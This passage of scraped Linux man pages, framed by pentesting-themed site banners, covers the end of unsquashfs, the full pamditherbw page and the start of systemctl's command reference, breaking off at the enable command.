use NUMBER processors. By default will use the number of processors available.

-q, -quiet
no verbose output.

-n, -no-progress
do not display the progress bar.

-percentage
display a percentage rather than the full progress bar. Can be used with dialog –gauge etc.

-ig, -ignore-errors
treat errors writing files to output as non-fatal.

-st, -strict-errors
treat all errors as fatal.

-no-exit, -no-exit-code
do not set exit code (to nonzero) on non-fatal errors.

-da SIZE, -data-queue SIZE
set data queue to SIZE Mbytes. Default 256 Mbytes.

-fr SIZE, -frag-queue SIZE
set fragment queue to SIZE Mbytes. Default 256 Mbytes.

Miscellaneous options:

-h, -help
output this options text to stdout.

-o BYTES, -offset BYTES
skip BYTES at start of FILESYSTEM. Optionally a suffix of K, M or G can be given to specify Kbytes, Mbytes or Gbytes respectively (default 0 bytes).

-fstime
synonym for -mkfs-time.

-e, -ef EXTRACT FILE
synonym for -extract-file.

-exc, -excf EXCLUDE FILE
synonym for -exclude-file.

-L
synonym for -follow-symlinks.

-pseudo-file FILE
alternative name for -pf.

DECOMPRESSORS AVAILABLE

gzip, lzo, lz4, xz, zstd, lzma

EXIT STATUS

0
The filesystem listed or extracted OK.

1
FATAL errors occurred, e.g. filesystem corruption, I/O errors. Unsquashfs did not continue and aborted.

2
Non-fatal errors occurred, e.g. no support for XATTRs, Symbolic links in output filesystem or couldn’t write permissions to output filesystem. Unsquashfs continued and did not abort.

See -ignore-errors, -strict-errors and -no-exit-code options for how they affect the exit status.

EXAMPLES

unsquashfs IMAGE.SQFS
Extract IMAGE.SQFS to “squashfs-root” in the current working directory.

unsquashfs -d output IMAGE.SQFS
Extract IMAGE.SQFS to “output” in the current working directory.

unsquashfs -d . IMAGE.SQFS
Extract IMAGE.SQFS to current working directory.

unsquashfs -linfo IMAGE.SQFS
Output a listing of IMAGE.SQFS with file attributes to stdout, while extracting the filesystem to “squashfs-root”.

unsquashfs -lls IMAGE.SQFS
Output a listing of IMAGE.SQFS with file attributes to stdout, but do not extract the filesystem. The listing will be prefixed with “squashfs-root”.

unsquashfs -d "" -lls IMAGE.SQFS
Output a listing of IMAGE.SQFS with file attributes to stdout, but do not extract the filesystem. The listing will not be prefixed with “squashfs-root”.

unsquashfs IMAGE.SQFS fs/squashfs
Extract only the “fs/squashfs” directory.

unsquashfs IMAGE.SQFS “[Tt]est/example*”
Extract all files beginning with “example” inside top level directories called “Test” or “test”.

unsquashfs -excludes IMAGE.SQFS “test/*data*.gz”
This will extract everything except for files that match *data*.gz in the test directory. The -excludes option tells Unsquashfs to exclude the files on the command line rather than extract them.

unsquashfs -excludes IMAGE.SQFS “… *.gz”
This will extract everything except for files that match *.gz anywhere in the image. The “…” means this is a non-anchored exclude which matches anywhere.

unsquashfs -ex “test/*data*.gz” ; IMAGE.SQFS test
This uses both extract and exclude options, to tell Unsquashfs to only extract the “test” directory, and to exclude any files within it that match *data*.gz.

unsquashfs -ex “… *.gz” IMAGE.SQFS test
This uses both extract and exclude options, to tell Unsquashfs to only extract the “test” directory, and to exclude files which match “*.gz” anywhere within “test” directory or sub-directories.

unsquashfs -dest output -max-depth 2 IMAGE.SQFS
Extract only the top two levels of IMAGE.SQFS to “output” directory.

unsquashfs -max-depth 2 IMAGE.SQFS “test/*.gz”
Only extract the gzipped files in the test directory.

unsquashfs -llc -max-depth 2 IMAGE.SQFS “test/*.gz”
Output a listing of the gzipped files in the test directory to stdout, but do not extract them.

unsquashfs -no-xattrs IMAGE.SQFS
Do not extract any extended attributes. Any extended attributes in the filesystem will be ignored.

unsquashfs -xattrs-include “^user.” IMAGE.SQFS
Filter the extended attributes and only extract extended attributes in the user namespace from the Squashfs filesystem.

unsquashfs -xattrs-exclude “^user.” IMAGE.SQFS
Filter the extended attributes and do not extract any extended attributes in the user namespace from the Squashfs filesystem.

Note: when passing wildcarded names to Unsquashfs, they should be quoted (as in the above examples), to ensure that they are not processed by the shell.

AUTHOR

Written by Phillip Lougher <[email protected]>

COPYRIGHT

Copyright © 2023 Phillip Lougher <[email protected]>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

SEE ALSO

mksquashfs(1), sqfstar(1), sqfscat(1)

The README for the Squashfs-tools 4.6.1 release, describing the new features can be read here https://github.com/plougher/squashfs-tools/blob/master/README-4.6.1

The Squashfs-tools USAGE guide can be read here https://github.com/plougher/squashfs-tools/blob/master/USAGE-4.6

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1118 - Linux cli command pamditherbw

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamditherbw and provides detailed information about the command pamditherbw, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamditherbw.

.

NAME 🖥️ pamditherbw 🖥️

dither grayscale image to black and white

SYNOPSIS

pamditherbw

[-floyd | -fs | -atkinson | -threshold | -hilbert | -dither8 | -d8 | -cluster3 | -c3 | -cluster4 | -c4 | -cluster8 | -c8]

[-value val]

[-clump size]

[**-randomseed=**integer]

[pamfile]

All options can be abbreviated to their shortest unique prefix.

DESCRIPTION

This program is part of Netpbm(1) .

pamditherbw dithers a grayscale image. Dithering means turning each shade of gray into a pattern of black and white pixels that, from a distance, look the same as the gray.

The input should be a PGM image or a PAM image of tuple type GRAYSCALE. However, pamditherbw doesn’t check, so if you feed it e.g. a PPM image, it will produce arbitrary results (actually, it just takes the first channel of whatever you give it and treats it as if it represented gray levels).

The output is a PAM with tuple type BLACKANDWHITE. You can turn this into a PBM (if you need to use it with an older program that doesn’t understand PAM) with pamtopnm.

To do the opposite of dithering, you can usually just scale the image down and then back up again with pamscale, possibly smoothing or blurring the result with pnmsmooth or pnmconvol. Or use the special case program pbmtopgm.

To dither a color image (to reduce the number of pixel colors), use ppmdither.

Another way to convert a grayscale image to a black and white image is thresholding. Thresholding is simply replacing each grayscale pixel with a black or white pixel depending on whether its brightness is above or below a threshold. That threshold might vary. Simple thresholding is a degenerate case of dithering, so pamditherbw does very simple thresholding with its -threshold option. But pamthreshold does more sophisticated thresholding.

If all you want is to change a PGM image with maxval 1 to a PBM image, pamtopnm will do that.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamditherbw recognizes the following command line options:

Quantization Method

The default quantization method is boustrophedonic Floyd-Steinberg error diffusion (-floyd or -fs).

Also available are simple thresholding (-threshold); Bayer’s ordered dither (-dither8) with a 16x16 matrix; Atkinson ; and three different sizes of 45-degree clustered-dot dither (-cluster3, -cluster4, -cluster8).

A space filling curve halftoning method using the Hilbert curve is also available (-hilbert).

Floyd-Steinberg or Atkinson will almost always give the best looking results; however, looking good is not always what you want. For instance, you can use thresholding in a pipeline with the pnmconvol, for tasks such as edge and peak detection. And clustered-dot dithering gives a newspaper-ish look, a useful special effect.

Floyd-Steinberg is by far the more traditional, but some claim Atkinson works better.

The Hilbert curve method is useful for processing images before display on devices that do not render individual pixels distinctly (like laser printers). This dithering method can give better results than the dithering usually done by the laser printers themselves. The -clump option alters the number of pixels in a clump. Typically a PGM image will have to be scaled to fit on a laser printer page (2400 x 3000 pixels for an A4 300 dpi page), and then dithered to a PBM image before being converted to a postscript file. A printing pipeline might look something like:

    pamscale -xysize 2400 3000 image.pgm | pamditherbw -hilbert |  \
      pamtopnm | pnmtops -scale 0.25 > image.ps 

Other Options

-value
This option alters the thresholding value for Floyd-Steinberg, Atkinson, and simple thresholding. It should be a real number between 0 and 1. Above 0.5 means darker images; below 0.5 means lighter.

-clump
This option alters the number of pixels in a clump when the Hilbert curve method is used. This is usually an integer between 2 and 100 (default 5). Smaller clump sizes smear the image less and are less grainy, but seem to lose some grey scale linearity.

**-randomseed=**integer
The Floyd-Steiberg and Atkinson methods use random numbers to diffuse the error. This is the seed for the random number generator. The other methods do not employ random numbers and ignore this option.

Use this to ensure you get the same image on separate invocations.

By default, pamditherbw uses a seed derived from the time of day and process ID, which gives you fairly uncorrelated results in multiple invocations.

This option was new in Netpbm 10.45 (December 2008).

REFERENCES

The only reference you need for this stuff is “Digital Halftoning” by Robert Ulichney, MIT Press, ISBN 0-262-21009-6.

The Hilbert curve space filling method is taken from “Digital Halftoning with Space Filling Curves” by Luiz Velho, Computer Graphics Volume 25, Number 4, proceedings of SIGRAPH ‘91, page 81. ISBN 0-89791-436-8

SEE ALSO

pamtopnm(1) , pgmtopgm(1) , pbmtopgm(1) , pamthreshold(1) , pbmreduce(1) , pnmconvol(1) , pamscale(1) , pam(1) , pnm(1) ,

HISTORY

pamditherbw was new in Netpbm 10.23 (July 2004), but is essentially the same program as pgmtopbm that has existed practically since the beginning. pamditherbw differs from its predecessor in that it properly adds brightnesses (using gamma transformations; pgmtopbm just adds them linearly) and that it accepts PAM input in addition to PGM and PBM and produces PAM output.

pamditherbw obsoletes pgmtopbm.

-atkinson was new in Netpbm 10.38 (March 2007).

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamditherbw.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1119 - Linux cli command systemctl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemctl and provides detailed information about the command systemctl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemctl.

NAME 🖥️ systemctl 🖥️

Control the systemd system and service manager

SYNOPSIS

systemctl [OPTIONS…] COMMAND [UNIT…]

DESCRIPTION

systemctl may be used to introspect and control the state of the “systemd” system and service manager. Please refer to systemd(1) for an introduction into the basic concepts and functionality this tool manages.

COMMANDS

The following commands are understood:

Unit Commands (Introspection and Modification)

list-units [PATTERN…]

List units that systemd currently has in memory. This includes units that are either referenced directly or through a dependency, units that are pinned by applications programmatically, or units that were active in the past and have failed. By default only units which are active, have pending jobs, or have failed are shown; this can be changed with option –all. If one or more PATTERNs are specified, only units matching one of them are shown. The units that are shown are additionally filtered by –type= and –state= if those options are specified.

Note that this command does not show unit templates, but only instances of unit templates. Units templates that arent instantiated are not runnable, and will thus never show up in the output of this command. Specifically this means that [email protected] will never be shown in this list — unless instantiated, e.g. as [email protected]. Use list-unit-files (see below) for listing installed unit template files.

Produces output similar to

UNIT LOAD ACTIVE SUB DESCRIPTION sys-module-fuse.device loaded active plugged /sys/module/fuse -.mount loaded active mounted Root Mount boot-efi.mount loaded active mounted /boot/efi systemd-journald.service loaded active running Journal Service systemd-logind.service loaded active running Login Service ● [email protected] loaded failed failed User Manager for UID 1000 … systemd-tmpfiles-clean.timer loaded active waiting Daily Cleanup of Temporary Directories

LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.

123 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use systemctl list-unit-files.

The header and the last unit of a given type are underlined if the terminal supports that. A colored dot is shown next to services which were masked, not found, or otherwise failed.

The LOAD column shows the load state, one of loaded, not-found, bad-setting, error, masked. The ACTIVE columns shows the general unit state, one of active, reloading, inactive, failed, activating, deactivating. The SUB column shows the unit-type-specific detailed state of the unit, possible values vary by unit type. The list of possible LOAD, ACTIVE, and SUB states is not constant and new systemd releases may both add and remove values.

systemctl –state=help

command may be used to display the current set of possible values.

This is the default command.

list-automounts [PATTERN…]

List automount units currently in memory, ordered by mount path. If one or more PATTERNs are specified, only automount units matching one of them are shown. Produces output similar to

WHAT WHERE MOUNTED IDLE TIMEOUT UNIT /dev/sdb1 /mnt/test no 120s mnt-test.automount binfmt_misc /proc/sys/fs/binfmt_misc yes 0 proc-sys-fs-binfmt_misc.automount

2 automounts listed.

Also see –show-types, –all, and –state=.

Added in version 252.

list-paths [PATTERN…]

List path units currently in memory, ordered by path. If one or more PATTERNs are specified, only path units matching one of them are shown. Produces output similar to

PATH CONDITION UNIT ACTIVATES /run/systemd/ask-password DirectoryNotEmpty systemd-ask-password-plymouth.path systemd-ask-password-plymouth.service /run/systemd/ask-password DirectoryNotEmpty systemd-ask-password-wall.path systemd-ask-password-wall.service /var/cache/cups/org.cups.cupsd PathExists cups.path cups.service

3 paths listed.

Also see –show-types, –all, and –state=.

Added in version 254.

list-sockets [PATTERN…]

List socket units currently in memory, ordered by listening address. If one or more PATTERNs are specified, only socket units matching one of them are shown. Produces output similar to

LISTEN UNIT ACTIVATES /dev/initctl systemd-initctl.socket systemd-initctl.service … [::]:22 sshd.socket sshd.service kobject-uevent 1 systemd-udevd-kernel.socket systemd-udevd.service

5 sockets listed.

Note: because the addresses might contains spaces, this output is not suitable for programmatic consumption.

Also see –show-types, –all, and –state=.

Added in version 202.

list-timers [PATTERN…]

List timer units currently in memory, ordered by the time they elapse next. If one or more PATTERNs are specified, only units matching one of them are shown. Produces output similar to

NEXT LEFT LAST PASSED UNIT ACTIVATES - - Thu 2017-02-23 13:40:29 EST 3 days ago ureadahead-stop.timer ureadahead-stop.service Sun 2017-02-26 18:55:42 EST 1min 14s left Thu 2017-02-23 13:54:44 EST 3 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service Sun 2017-02-26 20:37:16 EST 1h 42min left Sun 2017-02-26 11:56:36 EST 6h ago apt-daily.timer apt-daily.service Sun 2017-02-26 20:57:49 EST 2h 3min left Sun 2017-02-26 11:56:36 EST 6h ago snapd.refresh.timer snapd.refresh.service

NEXT shows the next time the timer will run.

LEFT shows how long till the next time the timer runs.

LAST shows the last time the timer ran.

PASSED shows how long has passed since the timer last ran.

UNIT shows the name of the timer

ACTIVATES shows the name the service the timer activates when it runs.

Also see –all and –state=.

Added in version 209.

is-active PATTERN**…**

Check whether any of the specified units are active (i.e. running). Returns an exit code 0 if at least one is active, or non-zero otherwise. Unless –quiet is specified, this will also print the current unit state to standard output.

is-failed **[**PATTERN…]

Check whether any of the specified units is in the “failed” state. If no unit is specified, check whether there are any failed units, which corresponds to the “degraded” state returned by is-system-running. Returns an exit code 0 if at least one has failed, non-zero otherwise. Unless –quiet is specified, this will also print the current unit or system state to standard output.

Added in version 197.

status [PATTERN…|PID…]]

Show runtime status information about the whole system or about one or more units followed by most recent log data from the journal. If no positional arguments are specified, and no unit filter is given with –type=, –state=, or –failed, shows the status of the whole system. If combined with –all, follows that with the status of all units. If positional arguments are specified, each positional argument is treated as either a unit name to show, or a glob pattern to show units whose names match that pattern, or a PID to show the unit containing that PID. When –type=, –state=, or –failed are used, units are additionally filtered by the TYPE and ACTIVE state.

This function is intended to generate human-readable output. If you are looking for computer-parsable output, use show instead. By default, this function only shows 10 lines of output and ellipsizes lines to fit in the terminal window. This can be changed with –lines and –full, see above. In addition, **journalctl –unit=**NAME or **journalctl –user-unit=**NAME use a similar filter for messages and might be more convenient.

Note that this operation only displays runtime status, i.e. information about the current invocation of the unit (if it is running) or the most recent invocation (if it is not running anymore, and has not been released from memory). Information about earlier invocations, invocations from previous system boots, or prior invocations that have already been released from memory may be retrieved via journalctl –unit=.

systemd implicitly loads units as necessary, so just running the status will attempt to load a file. The command is thus not useful for determining if something was already loaded or not. The units may possibly also be quickly unloaded after the operation is completed if theres no reason to keep it in memory thereafter.

Example 1. Example output from systemctl status

$ systemctl status bluetooth ● bluetooth.service - Bluetooth service Loaded: loaded (/usr/lib/systemd/system/bluetooth.service; enabled; preset: enabled) Active: active (running) since Wed 2017-01-04 13:54:04 EST; 1 weeks 0 days ago Docs: man:bluetoothd(8) Main PID: 930 (bluetoothd) Status: “Running” Tasks: 1 Memory: 648.0K CPU: 435ms CGroup: /system.slice/bluetooth.service └─930 /usr/lib/bluetooth/bluetoothd

Jan 12 10:46:45 example.com bluetoothd[8900]: Not enough free handles to register service
Jan 12 10:46:45 example.com bluetoothd[8900]: Current Time Service could not be registered
Jan 12 10:46:45 example.com bluetoothd[8900]: gatt-time-server: Input/output error (5)

The dot ("●") uses color on supported terminals to summarize the unit state at a glance. Along with its color, its shape varies according to its state: “inactive” or “maintenance” is a white circle ("○"), “active” is a green dot ("●"), “deactivating” is a white dot, “failed” or “error” is a red cross ("×"), and “reloading” is a green clockwise circle arrow ("↻").

The “Loaded:” line in the output will show “loaded” if the unit has been loaded into memory. Other possible values for “Loaded:” include: “error” if there was a problem loading it, “not-found” if no unit file was found for this unit, “bad-setting” if an essential unit file setting could not be parsed and “masked” if the unit file has been masked. Along with showing the path to the unit file, this line will also show the enablement state. Enabled units are included in the dependency network between units, and thus are started at boot or via some other form of activation. See the full table of possible enablement states — including the definition of “masked” — in the documentation for the is-enabled command.

The “Active:” line shows active state. The value is usually “active” or “inactive”. Active could mean started, bound, plugged in, etc depending on the unit type. The unit could also be in process of changing states, reporting a state of “activating” or “deactivating”. A special “failed” state is entered when the service failed in some way, such as a crash, exiting with an error code or timing out. If the failed state is entered the cause will be logged for later reference.

show [PATTERN…|JOB…]

Show properties of one or more units, jobs, or the manager itself. If no argument is specified, properties of the manager will be shown. If a unit name is specified, properties of the unit are shown, and if a job ID is specified, properties of the job are shown. By default, empty properties are suppressed. Use –all to show those too. To select specific properties to show, use –property=. This command is intended to be used whenever computer-parsable output is required. Use status if you are looking for formatted human-readable output.

Many properties shown by systemctl show map directly to configuration settings of the system and service manager and its unit files. Note that the properties shown by the command are generally more low-level, normalized versions of the original configuration settings and expose runtime state in addition to configuration. For example, properties shown for service units include the services current main process identifier as “MainPID” (which is runtime state), and time settings are always exposed as properties ending in the “…USec” suffix even if a matching configuration options end in “…Sec”, because microseconds is the normalized time unit used internally by the system and service manager.

For details about many of these properties, see the documentation of the D-Bus interface backing these properties, see org.freedesktop.systemd1(5).

cat PATTERN**…**

Show backing files of one or more units. Prints the “fragment” and “drop-ins” (source files) of units. Each file is preceded by a comment which includes the file name. Note that this shows the contents of the backing files on disk, which might not match the system managers understanding of these units if any unit files were updated on disk and the daemon-reload command wasnt issued since.

Added in version 209.

help PATTERN**…|PID…**

Show manual pages for one or more units, if available. If a PID is given, the manual pages for the unit the process belongs to are shown.

Added in version 185.

list-dependencies [UNIT…]

Shows units required and wanted by the specified units. This recursively lists units following the Requires=, Requisite=, Wants=, ConsistsOf=, BindsTo=, and Upholds= dependencies. If no units are specified, default.target is implied.

The units that are shown are additionally filtered by –type= and –state= if those options are specified. Note that we wont be able to use a tree structure in this case, so –plain is implied.

By default, only target units are recursively expanded. When –all is passed, all other units are recursively expanded as well.

Options –reverse, –after, –before may be used to change what types of dependencies are shown.

Note that this command only lists units currently loaded into memory by the service manager. In particular, this command is not suitable to get a comprehensive list at all reverse dependencies on a specific unit, as it wont list the dependencies declared by units currently not loaded.

Added in version 198.

start PATTERN**…**

Start (activate) one or more units specified on the command line.

Note that unit glob patterns expand to names of units currently in memory. Units which are not active and are not in a failed state usually are not in memory, and will not be matched by any pattern. In addition, in case of instantiated units, systemd is often unaware of the instance name until the instance has been started. Therefore, using glob patterns with start has limited usefulness. Also, secondary alias names of units are not considered.

Option –all may be used to also operate on inactive units which are referenced by other loaded units. Note that this is not the same as operating on “all” possible units, because as the previous paragraph describes, such a list is ill-defined. Nevertheless, systemctl start –all GLOB may be useful if all the units that should match the pattern are pulled in by some target which is known to be loaded.

stop PATTERN**…**

Stop (deactivate) one or more units specified on the command line.

This command will fail if the unit does not exist or if stopping of the unit is prohibited (see RefuseManualStop= in systemd.unit(5)). It will not fail if any of the commands configured to stop the unit (ExecStop=, etc.) fail, because the manager will still forcibly terminate the unit.

If a unit that gets stopped can still be triggered by other units, a warning containing the names of the triggering units is shown. –no-warn can be used to suppress the warning.

reload PATTERN**…**

Asks all units listed on the command line to reload their configuration. Note that this will reload the service-specific configuration, not the unit configuration file of systemd. If you want systemd to reload the configuration file of a unit, use the daemon-reload command. In other words: for the example case of Apache, this will reload Apaches httpd.conf in the web server, not the apache.service systemd unit file.

This command should not be confused with the daemon-reload command.

restart PATTERN**…**

Stop and then start one or more units specified on the command line. If the units are not running yet, they will be started.

Note that restarting a unit with this command does not necessarily flush out all of the units resources before it is started again. For example, the per-service file descriptor storage facility (see FileDescriptorStoreMax= in systemd.service(5)) will remain intact as long as the unit has a job pending, and is only cleared when the unit is fully stopped and no jobs are pending anymore. If it is intended that the file descriptor store is flushed out, too, during a restart operation an explicit systemctl stop command followed by systemctl start should be issued.

try-restart PATTERN**…**

Stop and then start one or more units specified on the command line if the units are running. This does nothing if units are not running.

reload-or-restart PATTERN**…**

Reload one or more units if they support it. If not, stop and then start them instead. If the units are not running yet, they will be started.

try-reload-or-restart PATTERN**…**

Reload one or more units if they support it. If not, stop and then start them instead. This does nothing if the units are not running.

Added in version 229.

isolate UNIT

Start the unit specified on the command line and its dependencies and stop all others, unless they have IgnoreOnIsolate=yes (see systemd.unit(5)). If a unit name with no extension is given, an extension of “.target” will be assumed.

This command is dangerous, since it will immediately stop processes that are not enabled in the new target, possibly including the graphical environment or terminal you are currently using.

Note that this operation is allowed only on units where AllowIsolate= is enabled. See systemd.unit(5) for details.

kill PATTERN**…**

Send a UNIX process signal to one or more processes of the unit. Use –kill-whom= to select which process to send the signal to. Use –signal= to select the signal to send. Combine with –kill-value= to enqueue a POSIX Realtime Signal with an associated value.

clean PATTERN**…**

Remove the configuration, state, cache, logs or runtime data of the specified units. Use –what= to select which kind of resource to remove. For service units this may be used to remove the directories configured with ConfigurationDirectory=, StateDirectory=, CacheDirectory=, LogsDirectory= and RuntimeDirectory=, see systemd.exec(5) for details. It may also be used to clear the file descriptor store as enabled via FileDescriptorStoreMax=, see systemd.service(5) for details. For timer units this may be used to clear out the persistent timestamp data if Persistent= is used and –what=state is selected, see systemd.timer(5). This command only applies to units that use either of these settings. If –what= is not specified, the cache and runtime data as well as the file descriptor store are removed (as these three types of resources are generally redundant and reproducible on the next invocation of the unit). Note that the specified units must be stopped to invoke this operation.

Table 1. Possible values for –what=

ValueUnit Setting
"runtime"RuntimeDirectory=
"state"StateDirectory=
"cache"CacheDirectory=
"logs"LogsDirectory=
"configuration"ConfigurationDirectory=
"fdstore"FileDescriptorStorePreserve=
"all"All of the above

Added in version 243.

freeze PATTERN**…**

Freeze one or more units specified on the command line using cgroup freezer

Freezing the unit will cause all processes contained within the cgroup corresponding to the unit to be suspended. Being suspended means that units processes wont be scheduled to run on CPU until thawed. Note that this command is supported only on systems that use unified cgroup hierarchy. Unit is automatically thawed just before we execute a job against the unit, e.g. before the unit is stopped.

Added in version 246.

thaw PATTERN**…**

Thaw (unfreeze) one or more units specified on the command line.

This is the inverse operation to the freeze command and resumes the execution of processes in the units cgroup.

Added in version 246.

set-property UNIT PROPERTY**=VALUE…**

Set the specified unit properties at runtime where this is supported. This allows changing configuration parameter properties such as resource control settings at runtime. Not all properties may be changed at runtime, but many resource control settings (primarily those in systemd.resource-control(5)) may. The changes are applied immediately, and stored on disk for future boots, unless –runtime is passed, in which case the settings only apply until the next reboot. The syntax of the property assignment follows closely the syntax of assignments in unit files.

Example: systemctl set-property foobar.service CPUWeight=200

If the specified unit appears to be inactive, the changes will be only stored on disk as described previously hence they will be effective when the unit will be started.

Note that this command allows changing multiple properties at the same time, which is preferable over setting them individually.

Example: systemctl set-property foobar.service CPUWeight=200 MemoryMax=2G IPAccounting=yes

Like with unit file configuration settings, assigning an empty setting usually resets a property to its defaults.

Example: systemctl set-property avahi-daemon.service IPAddressDeny=

Added in version 206.

bind UNIT PATH [PATH]

Bind-mounts a file or directory from the host into the specified units mount namespace. The first path argument is the source file or directory on the host, the second path argument is the destination file or directory in the units mount namespace. When the latter is omitted, the destination path in the units mount namespace is the same as the source path on the host. When combined with the –read-only switch, a ready-only bind mount is created. When combined with the –mkdir switch, the destination path is first created before the mount is applied.

Note that this option is currently only supported for units that run within a mount namespace (e.g.: with RootImage=, PrivateMounts=, etc.). This command supports bind-mounting directories, regular files, device nodes, AF_UNIX socket nodes, as well as FIFOs. The bind mount is ephemeral, and it is undone as soon as the current unit process exists. Note that the namespace mentioned here, where the bind mount will be added to, is the one where the main service process runs. Other processes (those exececuted by ExecReload=, ExecStartPre=, etc.) run in distinct namespaces.

If supported by the kernel, any prior mount on the selected target will be replaced by the new mount. If not supported, any prior mount will be over-mounted, but remain pinned and inaccessible.

Added in version 248.

mount-image UNIT IMAGE [PATH [PARTITION_NAME:MOUNT_OPTIONS]]

Mounts an image from the host into the specified units mount namespace. The first path argument is the source image on the host, the second path argument is the destination directory in the units mount namespace (i.e. inside RootImage=/RootDirectory=). The following argument, if any, is interpreted as a colon-separated tuple of partition name and comma-separated list of mount options for that partition. The format is the same as the service MountImages= setting. When combined with the –read-only switch, a ready-only mount is created. When combined with the –mkdir switch, the destination path is first created before the mount is applied.

Note that this option is currently only supported for units that run within a mount namespace (i.e. with RootImage=, PrivateMounts=, etc.). Note that the namespace mentioned here where the image mount will be added to, is the one where the main service process runs. Note that the namespace mentioned here, where the bind mount will be added to, is the one where the main service process runs. Other processes (those exececuted by ExecReload=, ExecStartPre=, etc.) run in distinct namespaces.

If supported by the kernel, any prior mount on the selected target will be replaced by the new mount. If not supported, any prior mount will be over-mounted, but remain pinned and inaccessible.

Example:

systemctl mount-image foo.service /tmp/img.raw /var/lib/image root:ro,nosuid

systemctl mount-image –mkdir bar.service /tmp/img.raw /var/lib/baz/img

Added in version 248.

service-log-level SERVICE [LEVEL]

If the LEVEL argument is not given, print the current log level as reported by service SERVICE.

If the optional argument LEVEL is provided, then change the current log level of the service to LEVEL. The log level should be a typical syslog log level, i.e. a value in the range 0…7 or one of the strings emerg, alert, crit, err, warning, notice, info, debug; see syslog(3) for details.

The service must have the appropriate BusName=destination property and also implement the generic org.freedesktop.LogControl1(5) interface. (systemctl will use the generic D-Bus protocol to access the org.freedesktop.LogControl1.LogLevel interface for the D-Bus name destination.)

Added in version 247.

service-log-target SERVICE [TARGET]

If the TARGET argument is not given, print the current log target as reported by service SERVICE.

If the optional argument TARGET is provided, then change the current log target of the service to TARGET. The log target should be one of the strings console (for log output to the services standard error stream), kmsg (for log output to the kernel log buffer), journal (for log output to systemd-journald.service(8) using the native journal protocol), syslog (for log output to the classic syslog socket /dev/log), null (for no log output whatsoever) or auto (for an automatically determined choice, typically equivalent to console if the service is invoked interactively, and journal or syslog otherwise).

For most services, only a small subset of log targets make sense. In particular, most “normal” services should only implement console, journal, and null. Anything else is only appropriate for low-level services that are active in very early boot before proper logging is established.

The service must have the appropriate BusName=destination property and also implement the generic org.freedesktop.LogControl1(5) interface. (systemctl will use the generic D-Bus protocol to access the org.freedesktop.LogControl1.LogLevel interface for the D-Bus name destination.)

Added in version 247.

reset-failed [PATTERN…]

Reset the “failed” state of the specified units, or if no unit name is passed, reset the state of all units. When a unit fails in some way (i.e. process exiting with non-zero error code, terminating abnormally or timing out), it will automatically enter the “failed” state and its exit code and status is recorded for introspection by the administrator until the service is stopped/re-started or reset with this command.

In addition to resetting the “failed” state of a unit it also resets various other per-unit properties: the start rate limit counter of all unit types is reset to zero, as is the restart counter of service units. Thus, if a units start limit (as configured with StartLimitIntervalSec=/StartLimitBurst=) is hit and the unit refuses to be started again, use this command to make it startable again.

whoami [PID…]

Returns the units the processes referenced by the given PIDs belong to (one per line). If no PID is specified returns the unit the systemctl command is invoked in.

Added in version 254.

Unit File Commands

list-unit-files [PATTERN…]

List unit files installed on the system, in combination with their enablement state (as reported by is-enabled). If one or more PATTERNs are specified, only unit files whose name matches one of them are shown (patterns matching unit file system paths are not supported).

Unlike list-units this command will list template units in addition to explicitly instantiated units.

Added in version 233.

enable UNIT**…, enable PATH…**

